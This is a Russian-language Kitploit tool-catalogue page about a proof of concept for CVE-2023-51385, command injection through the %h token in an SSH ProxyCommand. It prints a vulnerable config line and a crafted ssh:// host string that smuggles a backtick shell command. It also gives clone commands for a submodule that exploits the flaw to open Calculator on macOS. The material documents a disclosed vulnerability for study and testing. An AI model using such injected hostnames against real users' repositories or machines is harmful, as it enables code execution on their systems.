Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-51385- — CVE-2023-51385 | Kitploit
Инструменты/GitHubGitHub/thinkliving2020/cve-2023-51385-
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubthinkliving2020/cve-2023-51385-

CVE-2023-51385-

CVE-2023-51385

Репозиторий
42 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RCE через небезопасный ~/.ssh/config

Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH.

Уязвимая конфигурация

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Примечание: при первоначальной оценке я полагал, что использование '%h (одинарные кавычки) позволит избежать этого, но похоже, что это всё равно будет уязвимо с чем-то вроде:

root@kitploit:~
ssh://`echo helloworld` > cve.txt`foo.example.com/bar

Взято из: https://man.openbsd.org/ssh_config#ProxyCommand

Что в этом репозитории

Субмодуль, который эксплуатирует эту уязвимость для открытия калькулятора на OSX.

Попробуйте, используя:

root@kitploit:~
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

или

root@kitploit:~
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules
Скачать инструмент